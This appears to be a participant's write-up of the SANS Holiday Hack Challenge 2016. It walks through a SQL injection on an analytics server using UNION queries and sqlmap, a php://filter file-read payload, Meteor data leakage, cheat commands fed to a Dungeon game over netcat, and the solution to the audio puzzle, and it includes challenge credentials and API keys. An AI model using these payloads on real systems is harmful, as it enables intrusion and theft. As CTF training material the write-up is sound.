  • Use extracted passphrase 24fb3e89ce2aa0ea422c3d511d40dd84
  • Travel back to 1978.

Now we have travelled back in time to 1978. That's the same map as in 2016 but with Sepia filter added to textures, the same location but with different items (new coins, Santa Claus, talking plant, no terminals etc.).

Go up to the north to the Workshop and visit DERF. There should be Santa Claus waiting for you.

We were able to rescue Santa but still don't know who kidnapped him.

- Well, hello there. You've rescued me! Thank you so much.
- I wish I could recall the circumstances that lead me to be imprisoned here in my very own Dungeon For Errant Reindeer (DFER). But, I seem to be suffering from short-term memory loss. It feels almost as though someone hit me over the head with a Christmas tree. I have no memory of what happened or who did that to me.
- But, this I do know. I wish I could stay here and properly thank you, my friend. But it is Christmas Eve and I MUST get all of these presents delivered before sunrise!
- I bid you a VERY MERRY CHRISTMAS... AND A HAPPY NEW YEAR!
- ...


Answers

5) What is the password for the "cranpi" account on the Cranberry Pi system?

Password for a user "cranpi" on the Cranberry Pi image is "yummycookies".

6) How did you open each terminal door and where had the villain imprisoned Santa?

All terminals were describe earlier. Santa was moved back to 1978 and imprisoned in Dungeon For Errant Reindeer (DERF).


Part 4 - "All your base are belong to us"

Now as we hacked all terminals in a game we need to attack actual servers and extract hidden audio files by exploiting different kind of vulnerabilities.

List of all available servers (we got it from .APK file - Part 2):

We need also to verify if every server is in a scope, let's go visit Tom Hessman to check the IP addresses. To get the IP address if you have only domain name like ads.northpolewonderland.com we can use dig or host commands.

sh-3.2$ host ads.northpolewonderland.com
ads.northpolewonderland.com has address 104.198.221.240
sh-3.2$ dig a ads.northpolewonderland.com
;; ANSWER SECTION:
ads.northpolewonderland.com. 1799 IN    A   104.198.221.240

We've a confirmation from Tom that all detected servers are in scope.


The Mobile Analytics Server (via credentialed login access AND post authentication)

Website: https://analytics.northpolewonderland.com/

We have required credentials extracted already from the .apk file:

username: guest
password: busyreindeer78

At the top of the website we have a section called "MP3", that's our first audio file on that website: https://analytics.northpolewonderland.com/getaudio.php?id=20c216bc-b8b1-11e6-89e1-42010af00008

After the authentication process we can query data and view saved queries. The first thing we need to do is to configure and setup Burp to intercept and modify our traffic in a browser (that's a little bit different than in Android).

If you are not aware how to do that then you can use your own tool or go through manual - Burp Suite Help - Getting Started With Burp Suite.

As we setup Burp we are now able to intercept every request to the server as well as response from the server.


User enumeration

It's just an informational issue since it doesn't give us anything useful but is worth mentioning. If you enter invalid username then the website will response with a different message than if it was a valid user. I run Intruder module available in Burp to test the most common usernames:

User exists: "Bad password:", User doesn't exist: "No such user!"

Valid account names that were located are both administrator and guest. Also we see that mechanism is not case-sensitive because allows to use both "GUEST" and "guest" usernames.


SQL Injection

After sending sample POST request to /query.php endpoint we can verify that server receives a few different fields.

POST request: date=2017-01-02&type=launch&field[]=udid&modifier[]=eq&value[]=1

We can add as many "field" and "value" pairs as we want. Those fields use [] suffix to inform backend mechanism on the server side (PHP) that we are sending an Array of values.

Let's change names of those fields by adding invalid characters like ty'pe (apostrophe). As a result server returns the SQL Error which in short means that the sql query was not valid by the ' character we typed there.

The interesting field from our param is type=, I tried to modify value to something else like "31337" and I triggered another error:

Now we have an information that table app_31337_reports doesn't exist or we don't have appropriate privileges to access it. Looks like we can control table name and names of database fields.

As for now we checked ' character but what about ` (backtick character) which is often used in a place of field and table names.

No we know that:

  • Backtick character breaks the whole SQL query.
  • Database engine is MariaDB (MySQL fork).
  • We see a part of sql query so we can suspect what is the first part.

The whole query could look like:

SELECT uid FROM `app_usage_reports` WHERE `id` != '0' AND `date` = '2016-12-15' LIMIT 0, 100`

As we control that query in place of table name let's try to abuse that by sending a new request to the server:

date=2016-12-15&type=usage_reports`#&field[]=id&modifier[]=ne&value[]=0

Server returns all records and skip any kind of "WHERE" statement because we used # character to comment out the whole query just after a table name. It gave us:

/*before*/
SELECT uid FROM `app_usage_reports`# WHERE `id` != '0' AND `date` = '2016-12-15' LIMIT 0, 100

/*after*/
SELECT uid FROM `app_usage_reports`

Result:

Since we know that we can modify current query in a desired way let's concentrate on a specific query using UNION statement which allows us to join results from the other table.

SQL query:

type=launch_reports` UNION SELECT 111#

Server returns an information that "The used SELECT statement have a different number of columns". It means that our query is valid and we can use UNION SELECT but the problem here is the amount of columns we selected. Our previous query selects only one column named 111. To fix that problem we need to know how many columns are in that table, to detect that we can use one of two most common approaches:

Method 1

Using ORDER BY <column_number> query which sorts results using column number provided as a parameter. If parameter (column number) is invalid it means that column doesn't exist. We can check every column by incrementing this number by +1. If we hit a valid amount of columns then query will return all results without an error.

Method 2

Trying to select more than one column UNION SELECT 1,2,3,4,5... to the moment as we hit an appropriate number.

Sidenote: The valid amount of columns in that case is 14.

Sample UNION SELECT:

type=launch_reports` WHERE id = 0 UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0#

Result previewed in Burp:

Query is valid an in place of "0" values we can add any function like "database()", "version()" to extract database name or version of the running MariaDB server and more.

Instead of issuing manual request to the database I will use tool called sqlmap which is able to detect a lot of things required by this exploitation process (database engine, engine version, number of columns...). Important thing is that you need to configure it properly by settings parameters to make it work.

sqlmap -u "https://analytics.northpolewonderland.com/query.php" --union-char=1337 --dbms=mysql --exclude-sysdbs --union-cols=14 --cookie="AUTH=<session_id_here>" --random-agent --data='date=2016-12-15&type=launch_reports`*&field%5B%5D=id&modifier%5B%5D=ne&value%5B%5D=0' -D sprusage --tables

SQLmap result:

users table - I found there an additional entry in that table which was a new credential set administrator/KeepWatchingTheSkies.

audio table:

We can see here 2 different audio files. We cannot just simply extract them from the database because mp3 column is a type called mediumblob - binary data. It would break sqlmap and will not work (I couldn't make sqlmap to work with --hex switch).

Sidenote: I tried also to login into "administrator" account but you cannot download audio file from there. I tried to generate URL to that file since I knew the value of "id" but it didn't work (https://analytics.northpolewonderland.com/getaudio.php?id=id-here).

We can use a trick to encode binary data to hex or base64 characters. It will allow us to extract binary data directly from the database and return printable characters.

type=launch_reports` WHERE id = 0 UNION SELECT TO_BASE64(mp3),0,0,0,0,0,0,0,0,0,0,0,0,0 FROM audio#

Burp result:

Copy & paste that base64 encoded string to a file and decode file to get MP3 content.

openssl enc -base64 -d < discombobulatedaudio7.mp3.b64 > discombobulatedaudio7.mp3

Now we have the another audio file.


The Dungeon Game

Server: dungeon.northpolewonderland.com:11111

Website (help): http://dungeon.northpolewonderland.com/

There is a website available that hosts manual to the game called Dungeon, port 80 HTTP. After scanning this server with nmap, I have got an additional open port:

#> nmap -sC --open dungeon.northpolewonderland.com

Nmap scan report for dungeon.northpolewonderland.com (35.184.47.139)
Host is up (0.15s latency).
rDNS record for 35.184.47.139: 139.47.184.35.bc.googleusercontent.com
Not shown: 992 closed ports, 5 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
| ssh-hostkey:
|   1024 c0:5a:84:94:cf:6f:b9:23:c8:23:32:66:2d:e2:e7:6e (DSA)
|   2048 c4:cf:f2:c3:c5:63:26:bb:34:ab:b6:fe:a0:73:91:49 (RSA)
|_  256 78:4a:3e:2f:24:d1:14:eb:6e:53:7d:5a:6c:0a:42:af (ECDSA)
80/tcp    open  http
|_http-title: About Dungeon
11111/tcp open  vce

Nmap done: 1 IP address (1 host up) scanned in 10.74 seconds

We can connect to that server on port 11111 and check which kind of service is hosted there.

$> nc dungeon.northpolewonderland.com 11111
Welcome to Dungeon.         This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
>

It looks like we have an access to fully text-based game. I did the same thing as before and I google for sentences from that game. As a result I knew that the original game is called Zork. One of the google results is a solution.txt file which doesn't exist and there is no "cache" available on Google. But there is a way around, you can use Web Archive service to download that file: https://web.archive.org/web/20010215015551/http://www.csd.uwo.ca/Infocom/Solutions/zork1.txt

There is also a lot of tutorials even videos explaining how to win in that game:

Nevertheless I decided to cheat once again to win. As far as I remember one of the Elfs mentioned where we can download dungeon binary file. I detected it also using DirBuster which scanned all hidden files and directories on the server, url is: http://northpolewonderland.com/dungeon.zip

Two files are located inside this ZIP archive:

  • dungeon binary.
  • dtextc.dat file.

Reverse engineering (dungeon binary file)

Tools I was using to reverse the binary file:

Before we load that file into debugger let's check what objdump is going to say about that binary.

#> objdump -t ./dungeon | grep main
0000000000000000 l    df *ABS*  0000000000000000              dmain.c
0000000000000000       F *UND*  0000000000000000              __libc_start_main@@GLIBC_2.2.5
00000000004060a3 g     F .text  0000000000000064              main

At the beginning I loaded binary file to GDB to get the overview how does binary look like, see the call graph, string references and everything that could be useful. We start at the address of main function located at 0x4060a3.

#> gdb ./dungeon
gdb-peda$ b main
Breakpoint 1 at 0x4060a7
gdb-peda$ r
Starting program: /root/dungeon/dungeon
gdb-peda$ pdisass
Dump of assembler code for function main:
   0x00000000004060a3 <+0>: push   rbp
   0x00000000004060a4 <+1>: mov    rbp,rsp
=> 0x00000000004060a7 <+4>: sub    rsp,0x10
   0x00000000004060ab <+8>: mov    DWORD PTR [rbp-0x4],edi
   0x00000000004060ae <+11>:    mov    QWORD PTR [rbp-0x10],rsi
   0x00000000004060b2 <+15>:    call   0x404fa4 <init_>
   0x00000000004060b7 <+20>:    test   eax,eax
   0x00000000004060b9 <+22>:    je     0x406100 <main+93>
   0x00000000004060bb <+24>:    mov    edi,0x41a524
   0x00000000004060c0 <+29>:    mov    eax,0x0
   0x00000000004060c5 <+34>:    call   0x400c60 <[email protected]>
   0x00000000004060ca <+39>:    test   eax,eax
   0x00000000004060cc <+41>:    je     0x4060dd <main+58>
   0x00000000004060ce <+43>:    mov    edi,0x41a531
   0x00000000004060d3 <+48>:    mov    eax,0x0
   0x00000000004060d8 <+53>:    call   0x400db0 <[email protected]>
   0x00000000004060dd <+58>:    mov    edi,0x3e8
   0x00000000004060e2 <+63>:    mov    eax,0x0
   0x00000000004060e7 <+68>:    call   0x400de0 <[email protected]>
   0x00000000004060ec <+73>:    mov    edi,0x3e8
   0x00000000004060f1 <+78>:    mov    eax,0x0
   0x00000000004060f6 <+83>:    call   0x400d90 <[email protected]>
   0x00000000004060fb <+88>:    call   0x404931 <game_>
   0x0000000000406100 <+93>:    call   0x41544f <exit_>
   0x0000000000406105 <+98>:    leave
   0x0000000000406106 <+99>:    ret
End of assembler dump.

Function main:

  • Call _init_ function, not important for us.
  • It looks like also we can run this game in a chroot jail environment - [email protected].
  • Probably downgrading from root user to low privileged one like ubuntu etc. by calling [email protected].
  • The same as above but setting group id.
  • game_ function is something we need to analyze next.
  • Program finishes execution and calls exit_ function.

Let's disassemble game_ function:

gdb-peda$ pdisass game_
Dump of assembler code for function game_:
   0x0000000000404931 <+0>: push   rbp
   0x0000000000404932 <+1>: mov    rbp,rsp
   0x0000000000404935 <+4>: sub    rsp,0x10
   0x0000000000404939 <+8>: mov    edi,0x1
   0x000000000040493e <+13>:    call   0x408010 <rspeak_>
   0x0000000000404943 <+18>:    mov    edi,0x3
   0x0000000000404948 <+23>:    call   0x40865e <rmdesc_>
   0x000000000040494d <+28>:    mov    DWORD PTR [rbp-0x8],eax
   0x0000000000404950 <+31>:    mov    eax,DWORD PTR [rip+0x15a0e]        # 0x41a364 <aindex_>
   0x0000000000404956 <+37>:    mov    DWORD PTR [rip+0x21ede8],eax        # 0x623744 <play_>
   0x000000000040495c <+43>:    mov    DWORD PTR [rip+0x21ede6],0x0        # 0x62374c <play_+8>
   0x0000000000404966 <+53>:    mov    eax,DWORD PTR [rip+0x21fdd4]        # 0x624740 <prsvec_+16>
   0x000000000040496c <+59>:    cmp    eax,0x1
   0x000000000040496f <+62>:    jg     0x404980 <game_+79>
   0x0000000000404971 <+64>:    mov    esi,0x1
   0x0000000000404976 <+69>:    mov    edi,0x625a84
   0x000000000040497b <+74>:    call   0x40ddb0 <rdline_>
   0x0000000000404980 <+79>:    mov    eax,DWORD PTR [rip+0x21fdba]        # 0x624740 <prsvec_+16>
   0x0000000000404986 <+85>:    cdqe
   0x0000000000404988 <+87>:    sub    rax,0x1
   0x000000000040498c <+91>:    add    rax,0x625a80
   0x0000000000404992 <+97>:    add    rax,0x4
   0x0000000000404996 <+101>:   mov    esi,0x419a34
   0x000000000040499b <+106>:   mov    rdi,rax
   0x000000000040499e <+109>:   call   0x400d00 <[email protected]>
   0x00000000004049a3 <+114>:   test   eax,eax
   0x00000000004049a5 <+116>:   jne    0x4049ae <game_+125>
   0x00000000004049a7 <+118>:   call   0x40a1df <gdt_>
   [...]

Function "game_":

  • It prints out a prompt character like > and waits for user input.
  • rdline_ function reads user input.
  • strcmp compares two strings and that looks interesting, let's set a breakpoint there that our program will stop execution on that point.
gdb-peda$ b *0x40499e
Breakpoint 2 at 0x40499e
gdb-peda$ c
Continuing.
chroot: No such file or directory
Welcome to Dungeon.         This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
>1337
  • We're setting a breakpoint on address 0x40499e where strcmp function is located.
  • c command in GDB continues execution - program was stopped on previous breakpoint on main function.
  • Now application is running and we can send our command in a game i.e. 1337.
  • After we send our input it should stop at our breakpoint on address 0x40499e.

Application is paused at our breakpoint and we see the status of registers and stack. We have two arguments to strcp function which are identified by arg[0] and arg[1]. Argument 0 is our string but argument 1 is a string that is compared to our 1337 phrase.

If our string was GDT then it would call gdt_ function. I wasn't analyzing this particular call, I just tried to provide that command in a game and it occurred that it enabled the cheating mode. We can stop our assembly trip here.

#> nc dungeon.northpolewonderland.com 11111
Welcome to Dungeon.         This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
>GDT
GDT>HELP
Valid commands are:
AA- Alter ADVS          DR- Display ROOMS
AC- Alter CEVENT        DS- Display state
AF- Alter FINDEX        DT- Display text
AH- Alter HERE          DV- Display VILLS
AN- Alter switches      DX- Display EXITS
AO- Alter OBJCTS        DZ- Display PUZZLE
AR- Alter ROOMS         D2- Display ROOM2
AV- Alter VILLS         EX- Exit
AX- Alter EXITS         HE- Type this message
AZ- Alter PUZZLE        NC- No cyclops
DA- Display ADVS        ND- No deaths
DC- Display CEVENT      NR- No robber
DF- Display FINDEX      NT- No troll
DH- Display HACKS       PD- Program detail
DL- Display lengths     RC- Restore cyclops
DM- Display RTEXT       RD- Restore deaths
DN- Display switches    RR- Restore robber
DO- Display OBJCTS      RT- Restore troll
DP- Display parser      TK- Take
GDT>

As you can see there is a lot of useful commands like possibility to display objects, rooms, we can even set a GodMode (ND). Before we can use this GodMode console we need to figure out to which room we should teleport ourself and if there are any hidden objects?


Reverse engineering (dtextc.dat file)

Dungeon binary wasn't the only file in our ZIP archive, we can find there also file called dtextc.dat. I tried to use strings command on that file to verify if we have there any printable sentences. There was a lot of garbage which could be a result of some kind of encryption and that sounds reasonable - to block users from editing game properties.

If you google for that file, it returns information that it consists of encoded messages and initialization information for a game. Reverse engineering the encryption algorithm could take some time and I was quite sure that there is a working decoder somewhere on the Internet already.

I found a decoder source code, it's from 1993! - http://web.mit.edu/jhawk/src/cdungeon-decode.c

#> wget http://web.mit.edu/jhawk/src/cdungeon-decode.c
#> gcc cdungeon-decode.c -o decoder
#> ./decoder -b dtextc.dat -a decoded.txt
#> head -n 10 decoded.txt
Version: 2.7H
Maximum score: 585
Stars: 191 (first generic object)
Maximum endgame score: 100

Room: 1: East-West Passage
 You are in a narrow east-west passageway.  There is a narrow staircase
 leading down at the north end of the room.
Value: 5
Flags: 8192 (land)
[...]

As we have decoded messages and meta-data describing rooms in the game world, my idea was to:

  • Download the original dtextc.dat file for that game (I was quite sure our current version of that file was modified for SANS Challenge).
  • Decode original file - https://github.com/devshane/zork/raw/master/dtextc.dat
  • Compare both decoded files and look for differences between them.
#> vimdiff original.dat modified.dat

Differences:

It looks like we have a new room in a game called 192 (Elf Room). There are also some additional dialogs as well.

Here it is, that's our main goal for that game. We need to find the elf and trade with him for an information.


Cheating in Dungeon Game

We have both access to the GodMode console and we know to which room we need to navigate. Let's jump to room 192 and check what is going to happen.

GDT>AH
Old=      2      New= 192
GDT>exit
>look
You have mysteriously reached the North Pole.
In the distance you detect the busy sounds of Santa's elves in full
production.

You are in a warm room, lit by both the fireplace but also the glow of
centuries old trophies.
On the wall is a sign:
        Songs of the seasons are in many parts
        To solve a puzzle is in our hearts
        Ask not what what the answer be,
        Without a trinket to satisfy me.
The elf is facing you keeping his back warmed by the fire.
>
>i
You are empty handed.
>GDT
GDT>TK
Entry:    1
Taken.
GDT>exit
>i
You are carrying:
  A brown sack.
>give a brown sack to elf
"That wasn't quite what I had in mind", he says, tossing
the brown sack into the fire, where it vanishes.

My inventory was empty because I didn't play that game, I cheated it and I don't have any items I collected while traveling to visit the Elf. I used TK command in the GodMode console to take an item with ID=1, that items was "A brown sack". After I tried to give it to elf it occurred that it's not something that he is interested in. We need to find some kind of trinket like a diamond, gold etc.

We don't want to play a game and go through all rooms to get all items and then try every item step by step - which could take a lot of time. Instead we use the GodMode console once again. I tried to issue commands like TK with values 1, 2 up to 218 and it looks like there is only 217 actual items we can grab.

Steps:

  • Grab all items from ID=1 to ID=218.
  • List all items in a game with i command.
  • Look for items like trinket.
  • Give that item to the Elf.

List of all items - https://gist.github.com/radekk/09d63c95cb87740f2871ab8e97f2cd15

I have created a file hack.txt where I stored all commands that I want to execute in the GodMode console. The content of that files is:

GDT
TK
1
TK
2
TK
3
[... repeat that up to 218 items ...]
TK
217
TK
218
AH
192
exit
give sapphire bracelet to elf

We're grabbing all items, changing room to Room 192, exiting the GodMode console and giving "A sapphire bracelet" to the elf. I have created simple command for that to automate the whole process:

#> stdbuf -oL cat ./hack.txt | nc dungeon.northpolewonderland.com 11111

After that we simply won that game.

[...]
GDT>Entry:    Taken.
GDT>Entry:    Taken.
GDT>Entry:    Taken.
GDT>Entry:    ?
GDT>Entry:    ?
GDT>Entry:    ?
GDT>Entry:    ?
GDT>Entry:    ?
GDT>Old=      2      New= GDT>>The elf, satisified with the trade says -
send email to "[email protected]" for that which you seek.
The elf says - you have conquered this challenge - the game will now end.
Your score is 5 [total of 585 points], in 1 move.
This gives you the rank of Beginner.

As the last step we need to send an email message to [email protected]. You can put any kind of content there, hello world message etc. It doesn't matter. If everything went fine we should receive an email from Peppermint.

Now we have an another audio file called discombobulatedaudio3.mp3.

Sidenote: When I sent an email from Yahoo account and I waited for a reply without any success I tried to fuzz it. I thought maybe I need to send some kind of "specific" content in that message but solution was simpler than that. Mails from Yahoo were blocked by the server on SANS's side, I reported that issue and it was fixed a few hours later. GMail worked without any issues so it's good to always double check with different solutions if possible.


The Debug Server

Website: http://dev.northpolewonderland.com/

Before we can try to hack this server we need to ensure that our Android application was switched into debug mode (it was described in "Part 2" section of this document). After that we need to run application, switch views/pages and wait for debug data to be sent to the server.

As request was sent to the server we received a JSON data:

{"date":"20161213115654","status":"OK","filename":"debug-20161213115654-0.txt","request":{"date":"20161213125654+0100","udid":"62354e77eefa42a7","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":123275568,"verbose":false}}

Values that were sent to the server like date, udid, freemem and debug are reflected in response data. There is an additional param that wasn't reflected in a response - verbose. Let's try to resend that request with verbose = true.

We have a list of all debug files stored on a server with one additional file called debug-20161224235959-0.mp3. That is our another audio file.

Audio file: http://dev.northpolewonderland.com/debug-20161224235959-0.mp3


The Banner Ad Server

Website: http://ads.northpolewonderland.com/

Sidenote: For the first time I visited that URL it was a blank page. I checked the source code and I saw that it's a Meteor web application but I didn't know why it wasn't rendering the content. It occurred that it was blocked by the AdBlock extension.

We have a hint from one of the elfs - SANS Penetration Testing | Mining Meteor | SANS Institute As we read on the linked website:

The client pulls data with a subscription from a corresponding publication. All rendering takes place on the client. The client has all the code for the site to render the data.

Sometimes too much data (or code) is sent to the client even though it isn't displayed. If the client pushes too much data, either documents (rows in a traditional RDMS) or fields, we can exploit that. The data doesn't have to be rendered to extract it from the server.

Steps:

Tampermonkey in action:

On the left we see all routes defined for the application, there is a single route worth checking called /admin/quotes - http://ads.northpolewonderland.com/admin/quotes

It shows that we need to authenticate before we can access this page but it doesn't matter. It leaks interesting data without any kind of authentication at all.

Open inspector/console and write:

>>> HomeQuotes.find().fetch()

It will pull all quotes together with a hidden one with our next audio file - http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3

Sidenote: I wasn't able to extract this hidden quote without visiting /admin/quotes endpoint first.


The Uncaught Exception Handler Server

Website: http://ex.northpolewonderland.com/

If you try to visit that website you will get an error 403 in a response. There is nothing useful we can call from the browser. I have a single request in my Burp which points to that server to its /exception.php endpoint. It sends JSON in a request.

I tried to manipulate the parameter called "operation":"WriteCrashDump" which replaced to anything different from WriteCrashDump or ReadCrashDump will throw an error.

If we can write and read crash dump let's try to read a sample file. Request should look like:

{"operation":"ReadCrashDump", "data": {"crashdump": "crashdump-vbY5AY"}}

What about trying to read PHP file by changing file extension to .php:

It throws an error: Fatal Error: crashdump value duplicate '.php' extension detected. If we can't add .php extension then we can't read the source code of that specific file.

To overcome that issue we need to use a feature available in PHP called Streams. More info:

Sidenote: It is often used to bypass different kind of blacklisted extensions or even exploiting "XML External Entity (XXE)" vulnerabilities to download binary files encoded with base64 (which is not possible i.e. in Java).

Working payload that reads the source code of exception.php file:

php://filter/convert.base64-encode/resource=exception

At the top of the source code of exception.php file we have a link to another audio - http://ex.northpolewonderland.com/discombobulated-audio-6-XyzE3N9YqKNH.mp3


Answers

8) What are the names of the audio files you discovered from each system above?

I have discovered 7 different audio files:

  • discombobulatedaudio1.mp3
  • discombobulatedaudio2.mp3
  • discombobulatedaudio7.mp3
  • discombobulatedaudio3.mp3
  • debug-20161224235959-0.mp3
  • discombobulatedaudio5.mp3
  • discombobulated-audio-6-XyzE3N9YqKNH.mp3

All files are available to download: audio.zip


Part 5 - Discombobulated Audio

All seven audio files have a number suffix - 0, 1, 2, 3, 5, 6, 7 ("4" was skipped). The interesting part is that if you check track number stored in a file meta-data, file discombobulatedaudio7.mp3 has track set to "2" the same as discombobulatedaudio2.mp3. I thought maybe we need to use track numbers provided by meta-data but the last audio file (7) didn't match as a second part for me.

What can we do with all those files? My first approach was to merge them in a specific order using Audacity for audio editing. After that try to use different plugins/settings like speed, tempo etc. In addition there was a hint left in the Part 5 description:

"I recall seeing a weird machine here at the North Pole called 'The Audio Discombobulator.' Remember it? It mentioned how it cuts, mixes, and stirs songs together, and then distributes them throughout the North Pole. I guess that explains the music that saturates everything up here. Perhaps these weird audio files came from that machine... but they don't sound much like music, and certainly not whole songs."

"What if..." Josh contemplated, "...the villain walked by the Audio Discombobulator and uttered something... Not a song, which the machine is used to dealing with, but instead a sentence or a phrase. The machine might have heard that, cut it up, mixed it, and then distributed it throughout the North Pole!"

Since audio sounds like it was slowed down significantly I tried to change tempo by 400% to speed it up:

[Menu] -> Effect -> Change Temp… -> 400%

To concatenate all audio files we can just copy & paste directly in editor. I left a separation space between recordings to visualise it better.

Link to final audio file after merging all files and speeding it up by 400%: all.audio.files.merged.mp3

It was the hardest task in my opinion and a little bit overcomplicated. Maybe It was easier for native speakers but it took some time to get the overall meaning of that dialog. My process was like:

  • "Oh Christmas! Santa Claus. Ooo… Jeff."
  • "Merry Christmas! Santa Claus. Ooo… Jeff."
  • Then I concentrated on the last part:
  • "or as I known him… Jeff."
  • Obviously I googled for that and I found nothing. Then I recalled a relation to dr. Who TV series (I describe those relations in the last section).
  • Another google search: "or as I known him jeff dr who":

Here is a key to the door and the whole passphrase is:

Father Christmas, Santa Claus. Or, as I've always known him, Jeff.

The same quote was available on IMDB - http://www.imdb.com/title/tt1672218/quotes?item=qt1395415

Interesting part is that I tried many different combinations and it's not the only sentence that is going to open the final door, other working sentences were also (even with typo):

merry christmas santa claus or as I have know him jeff
merry christmas santa claus or as I've known him jeff

I suppose that there was some kind of regular expression validating the final result. Sadly only the last part of sentence didn't work - I've known him jeff.

So let's open the door in Corridor and see what will happen next.

We were right, Doctor Who was waiting for us. That's all, we finished the whole game.


Answers

9) Who is the villain behind the nefarious plot.

The villain behind the nefarious plot is Doctor Who.

10) Why had the villain abducted Santa?

Villain abducted Santa (Jeff) to stop the Star Wars Special from being released.


Additional content

Easter eggs

TARDIS - a reference to Doctor Who TV series.

I missed that one totally on the first attempt but then I recalled what it was. It's the TARDIS on Santa's desk. It's a fictional time machine that appears in Doctor Who TV series.


Who is Jason?

That's the most misterious part of the story. When I travelled back in time to 1978 I found a plant in a room that I was able to talk with. Name "Jason" was mentioned two times through the game, once in 2016 and once in 1978.

2016:

1978:

I couldn't find any relation to Doctor Who. I thought about Jason Kane but it didn't look promising.


Doctor Who betrayed by Websockets.

When I was playing a game I opened websocket frames preview in Chrome to check on a content send to the server and back to a client. When I entered Santa's office there was a message send about NPC named "Dr. Who", since that point the TARDIS element was more than relevant to the whole story.

Sidenote: You could also listen to "item" events when i.e. "NW_COIN" was detected on a map, also useful to spot all coins. Coordinates were easy to estimate since every time player changed his position, a new set of "x, y" coordinates was sent back to the server.


How to find last WELL hidden coins? By cheating once again.

I finished all quests, I found 18 coins and I couldn't find the last two coins. My idea was that:

  • A) There were some hidden coins on the map, visible but hard to find.
  • B) We need to send "grab item" event to the server manually with NW_COIN identifiers from JavaScript.
  • C) They were placed behind an object so you couldn't find them.

It occurred that point C was the most relevant one, how did I found all coins? I created a simple hack that draws bounding boxes around interactive elements. Drawing boxes would help to find hidden coins, even if coin was placed "under" the other texture.

Core file for the game is located here: https://quest2016.holidayhackchallenge.com/js/game.js

Before working on that you need to un-minify it. It could be achieved directly from the Chrome inspector:

Sources -> js/game.js -> Click on "{ }" (Pretty Print) -> Un-minified code should popup

Another way is to use js beautifier - Online JavaScript beautifier

Hacking by trial an error I found a place in code where actually items were put on a canvas. I started drawing red squares around every "movable" element.

To draw bounding boxes only around interactive elements like coins or Cranberry Pi parts we need to modify drawEntity() function. Locate it in the source code of game.js file:

drawEntity: function(a) {
    this.game.assignBubbleTo(a);
    if (a.currentAnimation && a.sprite) {
        a.isFading && (this.entities.save(),
[...]

Modify that file to reflect my changes:

drawEntity: function(a) {
    this.game.assignBubbleTo(a);
    if (a.currentAnimation && a.sprite) {
        /**
         * Show hidden coins by drawing a bounding box (stroke 1px, red) around the element.
         */
        if (a.type.toLowerCase().indexOf('item') > -1) {
            console.info('Item has been detect: ' + a.sprite.name);

            const rectX = Math.floor((a.x - this.camera.x + a.sprite.offsetX) * this.camera.scale);
            const rectY = Math.floor((a.y - this.camera.y + a.sprite.offsetY) * this.camera.scale);
            const rectWidth = Math.floor(a.sprite.width * this.camera.scale);
            const rectHeight = Math.floor(a.sprite.height * this.camera.scale);
            const layer = document.getElementById('floating').getContext('2d');

            layer.beginPath();
            layer.rect(rectX - 10, rectY - 10, rectWidth + 10, rectHeight + 10);
            layer.lineWidth = 1;
            layer.strokeStyle = 'red';
            layer.stroke();
        }
        //-----------------------------------------------------------------------------------

        if (a.currentAnimation && a.sprite) {
        a.isFading && (this.entities.save(),

Hosting modified "game.js" file

After we added this modified part of code around placing a new items on a map we need to use that in a game. To do that I used a plugin called Requestly - Chrome Web Store to modify requests to the server. We want to modify only a single request where file /js/game.js is downloaded by a game.

We need also to host that modified .js file on our end. We can start local HTTP server and give other people access to that server from the Internet.

Terminal 1:
#> ngrok http 9090

Terminal 2:
#> cd /modified_game/ <--- game.js needs to be here
#> php -S localhost:9090

Reload a game and now our modified game.js file should be loaded by the game engine. As a result you will see a red bounding boxes around interactive elements.

As a result I found them, one in 1978 (coin #15) and another one in 2016 (coin #20) both hidden behind another element. Without this hack it would be really hard to find those two missing coins.

1978 2016

Add your own background and avatar image to SantaGram profile

If you ever installed and tried SantaGram application on Android you should be aware of that you cannot set avatar or background image. Error message says that, "Only elves can upload images".

First time I saw that message I thought maybe we need to set some kind of special flag in .apk file, rebuild it and run. After a while I analyzed the source code and it occurred that this functionality was not implemented in the application yet.

It prints out only a message Toast.makeText() and there is not actual code for upload endpoint.

You should recall Parse API I mentioned before, documentation is open and anyone can read it. There is a special endpoint which allows to upload files on the server, it's called /parse/files/filename_here.jpg.

Upload API documentation: REST API Guide | Parse

curl -X POST \
  -H "X-Parse-Application-Id: ${APPLICATION_ID}" \
  -H "X-Parse-REST-API-Key: ${REST_API_KEY}" \
  -H "Content-Type: text/plain" \
  -d 'Hello, World!' \
  https://api.parse.com/1/files/hello.txt

You can try that example, it's the simplest one and works out of the box. Don't forget to set X-Parse-Application-Id and X-Parse-REST-API-Key (previously extracted from Android application).

Sample request to upload image file:

curl -X POST \
  -H "X-Parse-Application-Id: ciy248KmH8uo8efusuTQ" \
  -H "X-Parse-Client-Key: kC2jgdZT3IGYQ9ZlNflY" \
  -H "X-Parse-Installation-Id: <id_here>" \
  -H "X-Parse-Session-Token: r:<session_token>" \
  -H "User-Agent: Parse Android SDK 1.13.1 (com.northpolewonderland.santagram/1) API Level 25" \
  -H "Content-Type: image/jpeg" \
  --data-binary [email protected]' \
https://www.northpolewonderland.com/parse/files/avatar.jpg

Sidenote: You can get "X-Parse-Session-Token" from "/parse/login/" endpoint when user authenticates to SantaGram application.

Since we know how to upload files we need to find a way to update our images. I went through all URL proxied through my Burp instance and there was a call to endpoint /parse/classes/_User/<id> which was returning information about the user - JSON object.

{
    "fullName": "Shinny Upatree",
    [...]
    "avatar": {
        "url": "http://www.northpolewonderland.com/parse/files/ciy248KmH8uo8efusuTQ/56486236460f9dc9a8c8d9a386749d79_image.jpg",
        "__type": "File",
        "name": "56486236460f9dc9a8c8d9a386749d79_image.jpg"
    },
    "aboutMe": "SHINNY SMASH ANDROID APPS",
    "createdAt": "2016-12-07T21:58:51.535Z",
    "coverImage": {
        "url": "http://www.northpolewonderland.com/parse/files/ciy248KmH8uo8efusuTQ/5bb982fdf0412d3e4a91a076b00f9efd_image.jpg",
        "__type": "File",
        "name": "5bb982fdf0412d3e4a91a076b00f9efd_image.jpg"
    },
    "objectId": "JqDqMisDrf",
